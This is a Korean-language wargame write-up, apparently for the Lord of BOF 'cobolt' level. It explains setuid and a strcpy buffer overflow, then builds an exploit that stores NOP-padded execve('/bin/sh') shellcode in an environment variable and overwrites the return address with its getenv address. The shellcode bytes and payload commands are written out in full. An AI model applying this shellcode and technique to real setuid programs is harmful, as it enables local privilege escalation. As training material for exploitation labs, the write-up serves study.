ls -al
마찬가지로 특수권한 ‘s’가 보인다.
여기서 ‘s’권한은 linux의 특수권한으로 ‘setUID’이다.
setUID가 설정된 파일은 실행 시 일시적으로 파일 소유자의 권한을 열어 실행할 수 있도록 한다.
따라서 gremlin 파일을 gate가 실행시킬 시, 소유자인 gremlin의 권한으로 rwx를 수행할 수 있는 것이다.
따라서 이 문제는 앞선 문제와 같이, gremine에서 cobolt의 셸을 따내어야한다는 것을 알 수 있다.
cat cobolt.c
마찬가지로 strcpy 에서 bof 가 발생할 수 있다.
$ cp cobolt gremlin
$ gdb -g cobolt
(gdb) disass main
앞 포스팅에서 설명했듯이 바이너리를 복사하여 분석해야한다.
gdb 를 사용하여 메모리 구조를 파악해본다.
별다른 값 없이 0x10 만큼 buffer size가 할당된 것을 알 수 있다.
특이점이 있다면, 버퍼사이즈가 16바이트로 할당되어서 셸코드를 삽입할 충분한 공간이 없다.
이런상황에서는 셸코드 환경변수를 만들어서 셸코드환경변수의 주소값을 버퍼에 넣어 공격할 수 있다고 한다.
아래는 환경변수에 대한 예시이다.
HOME=/home/gremlin
cd $HOME
cd /home/gremlin
${환경변수명}
으로 환경변수 경로로 이동할 수 있다.
위처럼 home이라 가정할 시, cd $HOME
과 cd /home/gremlin
는 같은 결과를 반환한다.
export SHELLCODE=${shellcode}
export 를 사용하여 1회성 환경변수를 설정할 수 있다.
또한 셀코드라는 환경변수에 저장되는 값은 셸코드를 실행시켜주도록해야하기 때문에 파이썬 스크립트를 넣어서 아래와 같이 구성되어야할 것 이다.
export SHELLCODE=$(python -c "print('\x90'*200 + '{SHELLCODE (24byte)}')")
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
export SHELLCODE=$(python -c "print('\x90'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80')")
SHELLCODE 환경변수를 export 해주고, getenv.c 라는 파일을 만들어 해당 환경변수의 주솟값을 출력한다.
ret에 해당 환경변수가 저장된 주솟값을 넣을것이기 때문에 아래와같이 환경변수의 주솟값을 얻을 수 있을 것이다.
printf("shellcode: %x\n", getenv("SHELLCODE");
SHELLCODE ADDR: 0xbffffe66
./cobolt $(python -c "print '\x90'*20 + '{shellcode addr}'")
여기서 \x90
을 20개 넣은 이유는 버퍼의 크기(16) + SFP의 크기(4) -> 20 이기 때문이다.